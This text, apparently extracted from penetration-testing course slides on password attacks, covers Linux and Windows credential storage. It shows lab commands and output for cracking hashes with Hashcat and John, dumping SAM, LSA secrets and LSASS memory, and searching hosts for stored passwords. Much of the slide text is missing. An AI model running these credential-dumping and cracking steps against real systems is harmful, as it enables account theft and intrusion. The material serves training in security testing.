Password Attacks
Password Attacks
@mmar
Hassan 1
Authentication
Passwords
Tools like john the ripper and Hashcat can be configured to execute both types of
attacks
Hassan
Authentication
Passwords
Online Attack Offline Attack Defense
steal a copy of the Rate-limit online
password file and try guesses
Try to log in as the user Perhaps lock out the
on your own machine
with different passwords (or on many account—but that
compromised leaves you vulnerable to
(Brute force/ Dictionary) DoS attacks
machines—including
their GPUs) Make password-
guessing inherently
• Note: that’s why we read-protect slow: use a slow
the hashed passwords algorithm
Hassan
Authentication
Hassan
Credentials Storage
Hassan 7
Credential Storage
Hassan
Credential Storage
There are many different wordlists that contain the most commonly used
passwords. An example of one of these lists is rockyou.txt. This list
includes about 14 million unique passwords, and it was created after a
data breach of the company RockYou, which contained a total of 32
million user accounts
Hassan
Credential Storage
LINUX
Hassan
Credential Storage
LINUX
The /etc/shadow file has a unique format in which the entries are entered and
saved when new users are created.
Hassan
Credential Storage
LINUX
Hassan
Credential Storage
LINUX
The type (id) is the cryptographic hash method used to encrypt the password.
Many different cryptographic hash methods were used in the past and are still
used by some systems today ID Cryptographic Hash Algorithm
$1$ MD5
$2a$ Blowfish
$5$ SHA-256
$6$ SHA-512
$sha1$ SHA1crypt
$y$ Yescrypt
$gy$ Gost-yescrypt
$7$ Scrypt
Hassan
Credential Storage
LINUX
A few more files belong to the user management system of Linux. The other
two files are /etc/passwd and /etc/group. In the past, the encrypted password
was stored together with the username in the /etc/passwd file, but this was
increasingly recognized as a security problem because the file can be viewed
by all users on the system and must be readable. The /etc/shadow file can only
be read by the user root
Hassan
Credential Storage
LINUX
hassan@htb[/htb]$ cat /etc/passwd
htb-student:x:1000:1000:,,,:/home/htb-student:/bin/bash
Hassan
Credential Storage
LINUX
Opasswd
The file where old passwords are stored is the /etc/security/opasswd.
Administrator/root permissions are also required to read the file if the
permissions for this file have not been changed manually
ammar@htb[/htb]$ sudo cat /etc/security/opasswd
cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1
Hassan
Credential Storage
Windows
Hassan
Credential Storage
Windows
Hassan
Credential Storage
Windows
The security subsystem keeps track of the security policies and accounts that
reside on a computer system. In the case of a Domain Controller, these policies
and accounts apply to the domain where the Domain Controller is located.
These policies and accounts are stored in Active Directory. In addition, the LSA
subsystem provides services for checking access to objects, checking user
permissions, and generating monitoring messages
Hassan
Credential Storage
Windows
Hassan
Credential Storage
Windows
Hassan
Credential Storage
Windows
Winlogon
Winlogon is a trusted process responsible for managing security-related user
interactions. These include:
Launching LogonUI to enter passwords at login
Changing passwords
Locking and unlocking the workstation
It relies on credential providers installed on the system to obtain a user's
account name or password. Credential providers are COM objects that are
located in DLLs
Hassan
Credential Storage
Windows
Winlogon
Winlogon is the only process that intercepts login requests from the keyboard
sent via an RPC message from Win32k.sys. Winlogon immediately launches
the LogonUI application at logon to display the user interface for logon. After
Winlogon obtains a user name and password from the credential providers, it
calls LSASS to authenticate the user attempting to log in
Hassan
Credential Storage
Windows
LSASS
Local Security Authority Subsystem Service (LSASS) is a collection of many
modules and has access to all authentication processes that can be found in
%SystemRoot%\System32\Lsass.exe. This service is responsible for the local
system security policy, user authentication, and sending security audit logs to
the Event log. In other words, it is the vault for Windows-based operating
systems
Hassan
Credential Storage
Windows
LSASS
Authentication
Packages Description
Lsasrv.dll The LSA Server service both enforces security policies and acts as the
security package manager for the LSA. The LSA contains the Negotiate
function, which selects either the NTLM or Kerberos protocol after
determining which protocol is to be successful.
Msv1_0.dll Authentication package for local machine logons that don't require
custom authentication.
Samsrv.dll The Security Accounts Manager (SAM) stores local security accounts,
enforces locally stored policies, and supports APIs.
Kerberos.dll Security package loaded by the LSA for Kerberos-based authentication on
a machine.
Netlogon.dll Network-based logon service.
Ntdsa.dll This library is used to create new records and folders in the Windows
registry.
Hassan
Credential Storage
Windows
SAM Database
The Security Account Manager (SAM) is a database file in Windows operating
systems that stores users' passwords. It can be used to authenticate local and
remote users. SAM uses cryptographic measures to prevent unauthenticated
users from accessing the system. User passwords are stored in a hash format
in a registry structure as either an LM hash or an NTLM hash. This file is
located in %SystemRoot%/system32/config/SAM and is mounted on
HKLM/SAM. SYSTEM level permissions are required to view it.
Hassan
Credential Storage
Windows
SAM Database
Windows systems can be assigned to either a workgroup or domain during
setup. If the system has been assigned to a workgroup, it handles the SAM
database locally and stores all existing users locally in this database. However,
if the system has been joined to a domain, the Domain Controller (DC) must
validate the credentials from the Active Directory database (ntds.dit), which is
stored in %SystemRoot%\ntds.dit
Hassan
Credential Storage
Windows
Credential Manager
Credential Manager is a feature built-in to all Windows operating systems that
allows users to save the credentials they use to access various network
resources and websites. Saved credentials are stored based on user profiles in
each user's Credential Locker. Credentials are encrypted and stored at the
following location:
PS C:\Users\[Username]\AppData\Local\Microsoft\[Vault/Credentials]\
Hassan
Credential Storage
Windows
NTDS
It is very common to come across network environments where Windows
systems are joined to a Windows domain. This is common because it makes it
easier for admins to manage all the systems owned by their respective
organizations (centralized management). In these cases, the Windows systems
will send all logon requests to Domain Controllers that belong to the same
Active Directory forest. Each Domain Controller hosts a file called NTDS.dit
Hassan
Credential Storage
Windows
NTDS
NTDS.dit is a database file that stores the data in Active Directory, including but
not limited to:
User accounts (username & password hash)
Group accounts
Computer accounts
Group policy objects
Hassan
John The Ripper
John the Ripper (JTR or john) is an essential pentesting tool used to check
the strength of passwords and crack encrypted (or hashed) passwords
using either brute force or dictionary attacks. It is open-source software
initially developed for UNIX-based systems and first released in 1996. It
has become a staple of security professionals due to its various
capabilities.
Hassan
John The Ripper
Usage
First, we specify the wordlist file or files to use for cracking the password
hashes. The wordlist(s) can be in plain text format, with one word per line. Then
we can specify a rule set. These rules generate candidate passwords using
transformations such as appending numbers, capitalizing letters etc
Hassan
John The Ripper
Hassan
John The Ripper
All these services have an authentication mechanism using a username and password.
Hassan
WinRM
Hassan 36
WinRM
Hassan
CrackMapExec
Hassan
Evil-WinRM
*Evil-WinRM* PS C:\Users\user\Documents>
Hassan
SSH
Hassan 40
SSH
Hassan
Remote Desktop Protocol (RDP)
Hassan 42
Remote Desktop Protocol (RDP)
Hassan
Remote Desktop Protocol (RDP)
Hassan
Remote Desktop Protocol (RDP)
Hassan
Remote Desktop Protocol (RDP)
...SNIP...
New Certificate details:
Common Name: WINSRV
Subject: CN = WINSRV
Issuer: CN = WINSRV
Thumbprint: cd:91:d0:3e:7f:b7:bb:40:0e:91:45:b0:ab:04:ef:1e:c8:d5:41:42:49:e0:0c:cd:c7:dd:7d:08:1f:7c:fe:eb
Hassan
SMB
Hassan 47
SMB
SMB 10.129.42.197 445 WINSRV [*] Windows 10.0 Build 17763 x64 (name:WINSRV) (domain:WINSRV) (signing:False) (SMBv1:False)
SMB 10.129.42.197 445 WINSRV [+] WINSRV\user:password
SMB 10.129.42.197 445 WINSRV [+] Enumerated shares
SMB 10.129.42.197 445 WINSRV Share Permissions Remark
SMB 10.129.42.197 445 WINSRV ----- ----------- ------
SMB 10.129.42.197 445 WINSRV ADMIN$ Remote Admin
SMB 10.129.42.197 445 WINSRV C$ Default share
SMB 10.129.42.197 445 WINSRV SHARENAME READ,WRITE
SMB 10.129.42.197 445 WINSRV IPC$ READ Remote IPC
We can also make use of Hydra and Metasploit frameworks to brute force
SMB
Hassan
Password Mutations
Commonly, users use the following additions for their password to fit the
most common password policies:
Description Password Syntax
First letter is uppercase. Password
Adding numbers. Password123
Adding year. Password2022
Adding month. Password02
Last character is an Password2022!
exclamation mark.
Adding special characters. P@ssw0rd2022!
Hassan
Password Mutations
We can now use another tool called CeWL to scan potential words from
the company's website and save them in a separate list. We can then
combine this list with the desired rules and create a customized password
list that has a higher probability of guessing a correct password. We
specify some parameters, like the depth to spider (-d), the minimum
length of the word (-m), the storage of the found words in lowercase (--
lowercase), as well as the file where we want to store the results (-w).
Hassan
Custom Wordlists
326
Hassan
Credential Stuffing
There are various databases that keep a running list of known default
credentials. One of them is the DefaultCreds-Cheat-Sheet
Attacking those services with the default or obtained credentials is called
Credential Stuffing. This is a simplified variant of brute-forcing because
only composite usernames and the associated passwords are used.
we can create a new list that separates these composite credentials with a
colon (username:password)
Hassan
Credential Stuffing
Hassan
Attacking SAM
Hassan 59
Attacking SAM
Hassan
Copying SAM Registry Hives
There are three registry hives that we can copy if we have local admin
access on the target; each will have a specific purpose when we get to
dumping and cracking the hashes. Here is a brief description of each in
the table below
Registry Hive Description
hklm\sam Contains the hashes associated with local account passwords. We will need the hashes so we can crack
them and get the user account passwords in cleartext.
hklm\system Contains the system bootkey, which is used to encrypt the SAM database. We will need the bootkey to
decrypt the SAM database.
hklm\security Contains cached credentials for domain accounts. We may benefit from having this on a domain-joined
Windows target.
Hassan
Copying SAM Registry Hives
Hassan
Copying SAM Registry Hives
Hassan
Dumping Hashes with Impacket's secretsdump.py
One incredibly useful tool we can use to dump the hashes offline is
Impacket's secretsdump.py
ammar@htb[/htb]$ locate secretsdump
Hassan
Adding nthashes to a .txt File
64f12cddaa88057e06a81b54e73b949b
31d6cfe0d16ae931b73c59d7e0c089c0
6f8c3f4d3869a10f3b4f0522f537fd33
184ecdda8cf1dd238d438c4aea4d560d
f7eb9c06fafaa23c4bcf22ba6781c1e2
Hassan
Running Hashcat against NT Hashes
Hashcat has many different ammar@htb[/htb]$ sudo hashcat -m 1000 hashestocrack.txt /usr/share/wordlists/rockyou.txt
f7eb9c06fafaa23c4bcf22ba6781c1e2:dragon
want to crack
Time.Started.....: Tue Dec 14 14:16:56 2021 (0 secs)
Time.Estimated...: Tue Dec 14 14:16:56 2021 (0 secs)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 14284 H/s (0.63ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 5/5 (100.00%) Digests
Progress.........: 8192/14344385 (0.06%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 4096/14344385 (0.03%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: newzealand -> whitetiger
Hassan
Remote Dumping
Hassan
Remote Dumping
SMB 10.129.42.198 445 WS01 [*] Windows 10.0 Build 18362 x64 (name:FRONTDESK01) (domain:FRONTDESK01) (signing:False) (SMBv1:False)
SMB 10.129.42.198 445 WS01 [+] WS01\bob:HTB_@cademy_stdnt!(Pwn3d!)
SMB 10.129.42.198 445 WS01 [+] Dumping LSA secrets
SMB 10.129.42.198 445 WS01 WS01\worker:Hello123
SMB 10.129.42.198 445 WS01 dpapi_machinekey:0xc03a4a9b2c045e545543f3dcb9c181bb17d6bdce
dpapi_userkey:0x50b9fa0fd79452150111357308748f7ca101944a
SMB 10.129.42.198 445 WS01 NL$KM:e4fe184b25468118bf23f5a32ae836976ba492b3a432deb3911746b8ec63c451a70c1826e9145aa2f3421b98ed0cbd9a0c1a1befacb376c590fa7b56ca1b488b
SMB 10.129.42.198 445 WS01 [+] Dumped 3 LSA secrets to /home/bob/.cme/logs/FRONTDESK01_10.129.42.198_2022-02-07_155623.cached
Hassan
Remote Dumping
Hassan
Attacking LSASS
Hassan 70
Attacking LSASS
Hassan
Attacking LSASS
Hassan
Dumping LSASS Process Memory
Similar to the process of attacking the SAM database, with LSASS, it would
be wise for us first to create a copy of the contents of LSASS process
memory via the generation of a memory dump. Creating a dump file lets
us extract credentials offline using our attack host. Keep in mind
conducting attacks offline gives us more flexibility in the speed of our
attack and requires less time spent on the target system. There are
countless methods we can use to create a memory dump
Hassan
Dumping LSASS Process Memory
Task Manager
Open Task Manager > Select the Processes tab > Find & right click the
Local Security Authority Process > Select Create dump file
Hassan
Dumping LSASS Process Memory
Task Manager
A file called lsass.DMP is created and saved in:
C:\Users\loggedonusersdirectory\AppData\Local\Temp
Hassan
Dumping LSASS Process Memory
Hassan
Dumping LSASS Process Memory
Once we have the PID assigned to the LSASS process, we can create the
dump file.
Hassan
Dumping LSASS Process Memory
Hassan
Dumping LSASS Process Memory
Hassan
Dumping LSASS Process Memory
Running Pypykatz
ammar@htb[/htb]$ pypykatz lsa minidump /home/peter/Documents/lsass.dmp
Hassan
Dumping LSASS Process Memory
Running Pypykatz
The command initiates the use of pypykatz to parse the secrets hidden in
the LSASS process memory dump. We use lsa in the command because
LSASS is a subsystem of local security authority, then we specify the data
source as a minidump file, proceeded by the path to the dump file
(/home/peter/Documents/lsass.dmp) stored on our attack host. Pypykatz
parses the dump file and outputs the findings
Hassan
Dumping LSASS Process Memory
MSV
MSV is an authentication package in Windows
sid S-1-5-21-4019466498-1700476312-3544718034-1001
that LSA calls on to validate logon attempts luid 1354633
== MSV ==
against the SAM database. Pypykatz extracted Username: bob
Domain: DESKTOP-33E7O54
the SID, Username, Domain, and even the NT & LM: NA
NT: 64f12cddaa88057e06a81b54e73b949b
SHA1 password hashes associated with the bob SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
DPAPI: NA
user account's logon session stored in LSASS
process memory
Hassan
Dumping LSASS Process Memory
WDIGEST
WDIGEST is an older authentication protocol
enabled by default in Windows XP - Windows 8
and Windows Server 2003 - Windows Server == WDIGEST [14ab89]==
username bob
2012. LSASS caches credentials used by domainname DESKTOP-33E7O54
password None
WDIGEST in clear-text. This means if we find password (hex)
ourselves targeting a Windows system with
WDIGEST enabled, we will most likely see a
password in clear-text. Modern Windows
operating systems have WDIGEST disabled by
default
Hassan
Dumping LSASS Process Memory
Kerberos
Kerberos is a network authentication protocol
used by Active Directory in Windows Domain
environments. Domain user accounts are == Kerberos ==
Username: bob
granted tickets upon authentication with Active Domain: DESKTOP-33E7
Directory. This ticket is used to allow the user to
access shared resources on the network that It is possible to extract these from LSASS process memory and
use them to access other systems joined to the same domain.
they have been granted access to without
needing to type their credentials each time.
LSASS caches passwords, ekeys, tickets, and
pins associated with Kerberos
Hassan
Dumping LSASS Process Memory
DPAPI
The Data Protection Application Programming
Interface or DPAPI is a set of APIs in Windows
operating systems used to encrypt and decrypt == DPAPI [14ab89]==
luid 1354633
DPAPI data blobs on a per-user basis for key_guid 3e1d1091-b792-45df-ab8e-
c66af044d69b
Windows OS features and various third-party masterkey
applications. e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b992907
1f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a8
6be6f81be0d554f195fba92
sha1_masterkey
52e758b6120389898f7fae553ac8172b43221605
Hassan
Dumping LSASS Process Memory
DPAPI
Here are just a few examples of applications that use DPAPI and what they use it for:
Applications Use of DPAPI
Internet Explorer Password form auto-completion data (username and password for saved sites).
Google Chrome Password form auto-completion data (username and password for saved sites).
Outlook Passwords for email accounts.
Remote Desktop Connection Saved credentials for connections to remote machines.
Credential Manager Saved credentials for accessing shared resources, joining Wireless networks, VPNs
and more.
Mimikatz and Pypykatz can extract the DPAPI masterkey for the logged-on user whose data is present
in LSASS process memory. This masterkey can then be used to decrypt the secrets associated with
each of the applications using DPAPI and result in the capturing of credentials for various accounts
Hassan
Credential Hunting in Windows
Hassan 89
Credential Hunting in Windows
Hassan
Key Terms to Search
Hassan
Credential Hunting in Windows
Hassan
Credential Hunting in Windows
This will execute Lazagne and run all included modules. We can include
the option -vv to study what it is doing in the background. Once we hit
enter, it will open another prompt and display the results
Hassan
Using findstr
We can also use findstr to search from patterns across many types of files.
Keeping in mind common key terms, we can use variations of this
command to discover credentials on a Windows target:
C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
Hassan
Credential Hunting in Linux
Hassan 95
Credential Hunting in Linux
There are several sources that can provide us with credentials that we put
in four categories
Files History Memory Key-Rings
Configs Logs Cache Browser
stored
credentials
Databases Command- In-memory
line History Processing
Notes
Scripts
Source codes
Cronjobs
SSH Keys
Hassan
Files
Hassan
Files
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
Hassan
Files
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
Another option is to
run the scan directly
for each file found
with the specified file
extension and output
the contents. In this
example, we search
for three words (user,
password, pass) in
each file with the file
extension .cnf.
Hassan
Files
grep -ir telnet
Hassan
History
Hassan
Logs
An essential concept of Linux systems is log files that are stored in text
files. Many programs, especially all services and the system itself, write
such files. In them, we find system errors, detect problems regarding
services or follow what the system is doing in the background. The
entirety of log files can be divided into four categories:
Application
Logs Event Logs Service Logs System Logs
Hassan
Logs
Hassan
Memory and Cache
MimiPenguin Results:
[SYSTEM - GNOME] cry0l1t3:WLpAEXFa0SbqOHY
Hassan
Memory and Cache
An even more powerful tool we can use that was mentioned earlier in the
Credential Hunting in Windows section is LaZagne
cry0l1t3@unixclient:~$ sudo python2.7 laZagne.py all
|====================================================================|
| |
| The LaZagne Project |
| |
| ! BANG BANG ! |
| |
|====================================================================|
Hassan
Cracking Files Passwords
Hassan 108
Cracking with John
John The Ripper has many different scripts to generate hashes from files
that we can then use for cracking. We can find these scripts on our system
ammar@htb[/htb]$ locate *2john*
using the following command. /usr/bin/bitlocker2john
/usr/bin/dmg2john
/usr/bin/gpg2john
/usr/bin/hccap2john
/usr/bin/keepass2john
/usr/bin/putty2john
/usr/bin/racf2john
/usr/bin/rar2john
/usr/bin/zip2john
/usr/share/john/1password2john.py
/usr/share/john/7z2john.pl
/usr/share/john/DPAPImk2john.py
/usr/share/john/adxcsouf2john.py
/usr/share/john/aem2john.py
Hassan
Cracking SSH Keys
ssh.private:$sshng$0$8$1C258238FD2D6EB0$2352$f7b...SNIP...
Hassan
Cracking Microsoft Office Documents
Protected.docx:$office$*2007*20*128*16*7240...SNIP...8a69cf1*98242f4da37d916305d8e2821
360773b7edc481b
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2007 for all loaded hashes
Cost 2 (iteration count) is 50000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1234 (Protected.docx)
1g 0:00:00:00 DONE (2022-02-08 01:25) 2.083g/s 2266p/s 2266c/s 2266C/s trisha..heart
Use the "--show" option to display all of the cracked passwords reliably
Session completed
Hassan
Cracking PDFs
ammar@htb[/htb]$ pdf2john.py PDF.pdf > pdf.hash
ammar@htb[/htb]$ cat pdf.hash
PDF.pdf:$pdf$2*3*128*-
1028*1*16*7e88...SNIP...bd2*32*a72092...SNIP...0000*32*c48f001fdc79a030d718d
f5dbbdaad81d1f6fedec4a7b5cd980d64139edfcb7e
Hassan 113